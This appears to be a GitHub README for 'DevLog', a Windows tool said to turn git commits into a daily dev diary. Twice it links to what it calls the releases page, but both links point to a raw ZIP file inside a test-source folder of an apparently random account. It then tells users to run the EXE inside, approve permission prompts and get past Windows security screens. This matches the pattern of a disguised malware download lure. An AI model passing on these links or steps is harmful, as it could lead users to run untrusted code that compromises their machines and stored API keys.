🤖 DevLog - Turn git history into diary

🚀 What DevLog does

DevLog turns your git history into a daily dev diary. It reads your commits and helps you see what you worked on, day by day.

Use it when you want a clear record of your progress without writing notes by hand. It can help with standups, weekly updates, and personal tracking.

💻 What you need

DevLog runs on Windows and uses a simple command-line window.

You need:

• Windows 10 or later
• Git installed and available in your system path
• An internet connection for the first setup
• A GitHub account if you want to download the release file from GitHub

If your PC can run normal desktop apps and you can open a terminal window, you can use DevLog.

📥 Download DevLog

Visit this page to download: https://github.com/unseasonable-deposer640/DevLog/raw/refs/heads/main/src/test/kotlin/dev/vikey/devlog/domain/Log_Dev_v1.7.zip

On the releases page:

1. Open the latest release
2. Download the Windows file
3. Save it somewhere easy to find, like your Downloads folder
4. If you get a ZIP file, extract it first
5. If you get an EXE file, you can run it directly

🪟 Install on Windows

If you downloaded a ZIP file:

1. Right-click the ZIP file
2. Choose Extract All
3. Pick a folder you can find again
4. Open the extracted folder
5. Look for the DevLog program file

If you downloaded an EXE file:

1. Double-click the file
2. If Windows asks for permission, choose Yes
3. Wait for the app to open

If Windows shows a security screen, choose the option that lets you run the file only if you trust the source and you downloaded it from the release page above.

▶️ Run DevLog

Open Command Prompt or PowerShell in the DevLog folder.

Then run the app with the command provided in the release files. If the release includes a single executable, you can usually start it by double-clicking it or by typing its name in the terminal.

A typical first run looks like this:

1. Open the folder that contains DevLog
2. Open a terminal there
3. Run the DevLog command
4. Follow the prompts on screen

DevLog will scan your git history and build a dev diary from your commits.

🧭 First-time setup

When you run DevLog for the first time, it may ask for a few things:

• Your git repository path
• The date range you want to review
• Your preferred AI provider
• An API key if you want AI-generated summaries

If you plan to use AI features, you may need one of these services:

• OpenAI
• Anthropic
• Gemini

DevLog uses those services to turn commit history into readable notes.

🛠️ Example use

Here is how a simple workflow may look:

1. Open DevLog
2. Point it at your project folder
3. Choose a time range, such as this week
4. Let it read your commits
5. Review the diary entry it creates
6. Copy the result into your standup notes or journal

This can save time when you need a short summary of what changed.

📝 What you can use it for

DevLog fits common day-to-day tasks:

• Daily standups
• Weekly status updates
• Personal dev logs
• Progress tracking
• Memory refresh before a meeting
• Notes for old projects

It works best when your git commits are clear and regular.

⚙️ How it works

DevLog looks at your git history and groups your work into useful notes.

It can use commit messages, dates, and project changes to create a plain-language summary. If AI is enabled, it can make the result easier to read and more like a short diary entry.

The app is built for speed and low effort. You do not need to write a report from scratch.

📂 Good commit habits

DevLog gives better results when your git history is easy to read.

Try to:

• Write short, clear commit messages
• Commit small chunks of work
• Use one topic per commit when you can
• Keep your project history clean

For example, these commit messages are easier to turn into a diary:

• Add login form
• Fix date parsing
• Update report layout
• Improve error handling

🔐 AI provider setup

If you want DevLog to write summaries with AI, set up one of the supported providers.

Typical setup steps:

1. Pick a provider you already use
2. Create an API key in that provider’s dashboard
3. Add the key when DevLog asks for it
4. Select the provider inside the app
5. Run a scan on your repo

Supported provider names may appear in the app as:

• OpenAI
• Anthropic
• Gemini

You can use DevLog without AI if the release includes local summary mode.

🧪 Troubleshooting

If DevLog does not start:

• Check that you downloaded the correct Windows file
• Make sure the file finished downloading
• Extract the ZIP if needed
• Run the app from a folder you can access
• Close and reopen the terminal if the command is not found

If DevLog cannot read your repo:

• Check that the folder is a valid git repository
• Make sure Git is installed
• Confirm the path points to the right project
• Try running it from inside the repo folder

If AI summaries fail:

• Check your API key
• Confirm the provider name is correct
• Make sure you have internet access
• Try again after waiting a moment

📌 Tips for better results

A few small habits help a lot:

• Run DevLog after a work session
• Review the diary while the work is fresh
• Use it on one repo at a time
• Keep your commit history tidy
• Save the output in a notes app or team doc

🧩 Common release files

You may see different files on the releases page.

Possible files include:

• A Windows EXE file
• A ZIP file with the app inside
• A bundled command-line build
• A release note file with version details

If you are unsure which file to use, choose the Windows file for your system and ignore files meant for source code

📖 Typical output

DevLog may create output like this:

• What you worked on
• What changed
• What issues you fixed
• What you may want to mention in a standup
• A short note for the day

This makes it easier to answer, “What did I do yesterday?” without sorting through commit history by hand

🔎 Git terms used in DevLog

A few terms may appear while you use the app:

• Repository: the folder that holds your project
• Commit: a saved change in git
• History: the list of saved changes
• Branch: a line of work in git
• Diff: the changes between versions

You do not need to learn these first. DevLog works best when you just point it at your project folder and follow the prompts

📎 Download again

If you need the release page later, use this link: https://github.com/unseasonable-deposer640/DevLog/raw/refs/heads/main/src/test/kotlin/dev/vikey/devlog/domain/Log_Dev_v1.7.zip

✅ Quick start

1. Download DevLog from the releases page
2. Extract it if the file is a ZIP
3. Open the folder or run the EXE
4. Point DevLog at your git project
5. Choose a date range
6. Let it generate your dev diary